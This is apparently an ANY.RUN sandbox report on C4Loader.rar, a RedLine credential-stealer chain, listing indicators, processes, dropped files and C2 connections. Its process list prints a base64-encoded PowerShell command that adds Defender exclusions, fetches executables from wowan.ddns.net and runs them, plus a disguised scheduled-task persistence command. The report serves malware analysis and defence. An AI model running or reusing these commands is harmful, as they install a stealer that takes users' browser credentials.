File name:

C4Loader.rar

Full analysis: https://app.any.run/tasks/c95e329b-f7d8-48f5-856f-7e529505cddc
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: July 31, 2022, 17:43:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
rat
redline
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

31622D471A337D20F15AB9CC6E539A7B

SHA1:

603059AC0B2AC72F727D5C148F48D4B9A07BE919

SHA256:

D4D401C43B0510CC563AE112BDA4977FD6D3CF382A3D0EB8C3122A38B85C9F48

SSDEEP:

98304:WNOZ8q9sPmbwERP20mMDGvilxKQPivnz4vrg3RKW90biZElJr:W4PsPmhtr9kMpi04Rt0qEf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops executable file immediately after starts

      • WinRAR.exe (PID: 3096)
      • powershell.exe (PID: 2576)
      • SysApp.exe (PID: 116)

    • Application was dropped or rewritten from another process

      • C4Loader.exe (PID: 2184)
      • C4Loader.exe (PID: 3748)
      • C4Loader.exe (PID: 2028)
      • C4Loader.exe (PID: 4076)
      • C4Loader.exe (PID: 1140)
      • SysApp.exe (PID: 116)
      • new1.exe (PID: 4012)
      • C4Loader.exe (PID: 4564)
      • SysApp.exe (PID: 4868)
      • new1.exe (PID: 4712)
      • fodhelper.exe (PID: 118544)

    • Changes settings of System certificates

      • powershell.exe (PID: 2576)

    • Actions looks like stealing of personal data

      • AppLaunch.exe (PID: 195532)
      • AppLaunch.exe (PID: 4668)

    • REDLINE was detected

      • AppLaunch.exe (PID: 195532)
      • AppLaunch.exe (PID: 4668)

    • Connects to CnC server

      • AppLaunch.exe (PID: 195532)
      • AppLaunch.exe (PID: 4668)

    • Steals credentials from Web Browsers

      • AppLaunch.exe (PID: 195532)
      • AppLaunch.exe (PID: 4668)

  • SUSPICIOUS

    • Reads the computer name

      • WinRAR.exe (PID: 3072)
      • WinRAR.exe (PID: 3096)
      • C4Loader.exe (PID: 3748)
      • C4Loader.exe (PID: 4076)
      • InstallUtil.exe (PID: 2208)
      • powershell.exe (PID: 2576)
      • C4Loader.exe (PID: 1140)
      • SysApp.exe (PID: 116)
      • AppLaunch.exe (PID: 195532)
      • InstallUtil.exe (PID: 3220)
      • C4Loader.exe (PID: 4564)
      • powershell.exe (PID: 3516)
      • AppLaunch.exe (PID: 4668)
      • fodhelper.exe (PID: 118544)
      • SysApp.exe (PID: 4868)

    • Checks supported languages

      • WinRAR.exe (PID: 3072)
      • WinRAR.exe (PID: 3096)
      • C4Loader.exe (PID: 3748)
      • C4Loader.exe (PID: 4076)
      • InstallUtil.exe (PID: 2208)
      • C4Loader.exe (PID: 1140)
      • SysApp.exe (PID: 116)
      • new1.exe (PID: 4012)
      • powershell.exe (PID: 2576)
      • AppLaunch.exe (PID: 195532)
      • InstallUtil.exe (PID: 3220)
      • powershell.exe (PID: 3516)
      • C4Loader.exe (PID: 4564)
      • new1.exe (PID: 4712)
      • SysApp.exe (PID: 4868)
      • fodhelper.exe (PID: 118544)
      • AppLaunch.exe (PID: 4668)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 3096)
      • powershell.exe (PID: 2576)
      • SysApp.exe (PID: 116)

    • Drops a file with a compile date too recent

      • WinRAR.exe (PID: 3096)
      • powershell.exe (PID: 2576)
      • SysApp.exe (PID: 116)

    • Reads Environment values

      • powershell.exe (PID: 2576)
      • AppLaunch.exe (PID: 195532)
      • powershell.exe (PID: 3516)
      • AppLaunch.exe (PID: 4668)

    • Adds / modifies Windows certificates

      • powershell.exe (PID: 2576)

    • Reads Microsoft Outlook installation path

      • iexplore.exe (PID: 119564)

    • Executed via Task Scheduler

      • fodhelper.exe (PID: 118544)

    • Searches for installed software

      • AppLaunch.exe (PID: 195532)
      • AppLaunch.exe (PID: 4668)

  • INFO

    • Manual execution by user

      • WinRAR.exe (PID: 3096)
      • C4Loader.exe (PID: 2184)
      • C4Loader.exe (PID: 3748)
      • C4Loader.exe (PID: 2028)
      • C4Loader.exe (PID: 4076)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 2576)
      • iexplore.exe (PID: 119564)
      • iexplore.exe (PID: 111516)
      • powershell.exe (PID: 3516)

    • Reads settings of System Certificates

      • powershell.exe (PID: 2576)
      • iexplore.exe (PID: 119564)
      • iexplore.exe (PID: 111516)
      • powershell.exe (PID: 3516)

    • Reads the computer name

      • iexplore.exe (PID: 111516)
      • schtasks.exe (PID: 181336)
      • iexplore.exe (PID: 119564)
      • schtasks.exe (PID: 588)
      • schtasks.exe (PID: 176056)

    • Checks supported languages

      • iexplore.exe (PID: 111516)
      • schtasks.exe (PID: 181336)
      • iexplore.exe (PID: 119564)
      • schtasks.exe (PID: 176056)
      • schtasks.exe (PID: 588)

    • Changes internet zones settings

      • iexplore.exe (PID: 111516)

    • Reads internet explorer settings

      • iexplore.exe (PID: 119564)

    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 119564)
      • iexplore.exe (PID: 111516)

    • Changes settings of System certificates

      • iexplore.exe (PID: 119564)
      • iexplore.exe (PID: 111516)

    • Application launched itself

      • iexplore.exe (PID: 111516)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
75
Monitored processes
24
Malicious processes
12
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start winrar.exe no specs winrar.exe c4loader.exe no specs c4loader.exe c4loader.exe no specs c4loader.exe installutil.exe no specs powershell.exe c4loader.exe no specs new1.exe no specs sysapp.exe iexplore.exe iexplore.exe schtasks.exe no specs #REDLINE applaunch.exe installutil.exe no specs powershell.exe c4loader.exe no specs new1.exe no specs sysapp.exe no specs fodhelper.exe no specs #REDLINE applaunch.exe schtasks.exe no specs schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
116"C:\Users\admin\AppData\Local\Temp\SysApp.exe" C:\Users\admin\AppData\Local\Temp\SysApp.exe
powershell.exe
User:
admin
Integrity Level:
HIGH
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\local\temp\sysapp.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msimg32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
588/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"C:\Windows\System32\schtasks.exe—SysApp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\user32.dll
c:\windows\system32\ole32.dll
1140"C:\Users\admin\AppData\Local\Temp\C4Loader.exe" C:\Users\admin\AppData\Local\Temp\C4Loader.exe—powershell.exe
User:
admin
Company:
C4PRO
Integrity Level:
HIGH
Description:
C4Loader
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\c4loader.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\shlwapi.dll
2028"C:\Users\admin\Desktop\C4Loader\C4Loader.exe" C:\Users\admin\Desktop\C4Loader\C4Loader.exe—Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\desktop\c4loader\c4loader.exe
c:\windows\system32\ntdll.dll
2184"C:\Users\admin\Desktop\C4Loader\C4Loader.exe" C:\Users\admin\Desktop\C4Loader\C4Loader.exe—Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\desktop\c4loader\c4loader.exe
c:\windows\system32\ntdll.dll
2208"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe—C4Loader.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
.NET Framework installation utility
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\installutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\lpk.dll
2576"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZgBrACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcgByAGcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZQBmAHUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcAByAHUAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHcAbwB3AGEAbgAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBqAGoAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAegBwACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAeABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AHMAcQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwB3AG8AdwBhAG4ALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQAVQBwAGQAYQB0AGUALgBlAHgAZQAnACwAIAA8ACMAZQBuAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AHAAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AHgAdgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQAVQBwAGQAYQB0AGUALgBlAHgAZQAnACkAKQA8ACMAcwB6AGcAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AdwBvAHcAYQBuAC4AZABkAG4AcwAuAG4AZQB0AC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AbgBlAHcAMQAuAGUAeABlACcALAAgADwAIwBuAG0AcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHIAbQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGgAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADEALgBlAHgAZQAnACkAKQA8ACMAbQBwAHAAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AdwBvAHcAYQBuAC4AZABkAG4AcwAuAG4AZQB0AC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AUwB5AHMAQQBwAHAALgBlAHgAZQAnACwAIAA8ACMAdABkAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBqAHMAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQApADwAIwBsAGoAYQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBnAHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABpAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBtAGIAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAG0AYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQB3AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AFUAcABkAGEAdABlAC4AZQB4AGUAJwApADwAIwBkAGEAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AGYAdgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaABjAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMQAuAGUAeABlACcAKQA8ACMAbQBmAGEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgBxAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHUAaQBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwBuAGsAcQAjAD4A"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
InstallUtil.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3072"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\C4Loader.rar"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\comdlg32.dll
3096"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\C4Loader.rar" C:\Users\admin\Desktop\C4Loader\C:\Program Files\WinRAR\WinRAR.exe
Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3220"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe—C4Loader.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
.NET Framework installation utility
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\installutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
Total events
33 966
Read events
33 690
Write events
276
Delete events
0

Modification events

(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3072) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\C4Loader.rar
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3072) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
6
Suspicious files
17
Text files
93
Unknown types
20

Dropped files

PID
Process
Filename
Type
2576powershell.exeC:\Users\admin\AppData\Local\Temp\C4Loader.exeexecutable
MD5:—
SHA256:—
3096WinRAR.exeC:\Users\admin\Desktop\C4Loader\C4Loader.exeexecutable
MD5:—
SHA256:—
2576powershell.exeC:\Users\admin\AppData\Local\Temp\C4Update.exeexecutable
MD5:—
SHA256:—
2576powershell.exeC:\Users\admin\AppData\Local\Temp\new1.exeexecutable
MD5:—
SHA256:—
2576powershell.exeC:\Users\admin\AppData\Local\Temp\SysApp.exeexecutable
MD5:—
SHA256:—
119564iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:—
SHA256:—
119564iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27der
MD5:—
SHA256:—
119564iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27binary
MD5:—
SHA256:—
2576powershell.exeC:\Users\admin\AppData\Local\Temp\1ixnf4qt.0ey.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2576powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
44
DNS requests
17
Threats
22

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
119564
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D
US
der
1.47 Kb
whitelisted
111516
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8Ull8gIGmZT9XHrHiJQeI%3D
US
der
1.47 Kb
whitelisted
111516
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
der
471 b
whitelisted
119564
iexplore.exe
GET
200
142.250.185.99:80
http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D
US
der
724 b
whitelisted
119564
iexplore.exe
GET
200
142.250.185.99:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCQ7ydxUvDumQqaRl%2FmzX7M
US
der
472 b
whitelisted
119564
iexplore.exe
GET
200
142.250.185.99:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDqokPk3%2F7FkArt7G%2FRMSO1
US
der
472 b
whitelisted
111516
iexplore.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEALnkXH7gCHpP%2BLZg4NMUMA%3D
US
der
471 b
whitelisted
119564
iexplore.exe
GET
200
23.216.77.80:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?288facb3716517d3
US
compressed
4.70 Kb
whitelisted
119564
iexplore.exe
GET
200
142.250.185.99:80
http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D
US
der
1.41 Kb
whitelisted
119564
iexplore.exe
GET
200
23.216.77.80:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cfdbf0a67d20ea27
US
compressed
4.70 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2576
powershell.exe
212.192.241.219:443
wowan.ddns.net
—
RU
unknown
119564
iexplore.exe
188.114.97.3:443
cheats4.pro
Cloudflare Inc
US
malicious
119564
iexplore.exe
23.216.77.80:80
ctldl.windowsupdate.com
NTT DOCOMO, INC.
US
suspicious
119564
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
119564
iexplore.exe
142.250.185.138:443
fonts.googleapis.com
Google Inc.
US
whitelisted
119564
iexplore.exe
142.250.185.99:80
ocsp.pki.goog
Google Inc.
US
whitelisted
195532
AppLaunch.exe
92.222.212.91:15290
—
OVH SAS
FR
malicious
111516
iexplore.exe
204.79.197.200:443
www.bing.com
Microsoft Corporation
US
whitelisted
111516
iexplore.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3516
powershell.exe
212.192.241.219:443
wowan.ddns.net
—
RU
unknown

DNS requests

Domain
IP
Reputation
wowan.ddns.net
  • 212.192.241.219
unknown
cheats4.pro
  • 188.114.97.3
  • 188.114.96.3
malicious
ctldl.windowsupdate.com
  • 23.216.77.80
  • 23.216.77.69
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
fonts.googleapis.com
  • 142.250.185.138
whitelisted
ocsp.pki.goog
  • 142.250.185.99
whitelisted
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
fonts.gstatic.com
  • 172.217.18.99
whitelisted
discord.com
  • 162.159.135.232
  • 162.159.138.232
  • 162.159.128.233
  • 162.159.137.232
  • 162.159.136.232
whitelisted

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.ddns .net
—
—
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discord .com)
119564
iexplore.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
119564
iexplore.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
119564
iexplore.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
119564
iexplore.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
119564
iexplore.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
15 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
C4Loader.rar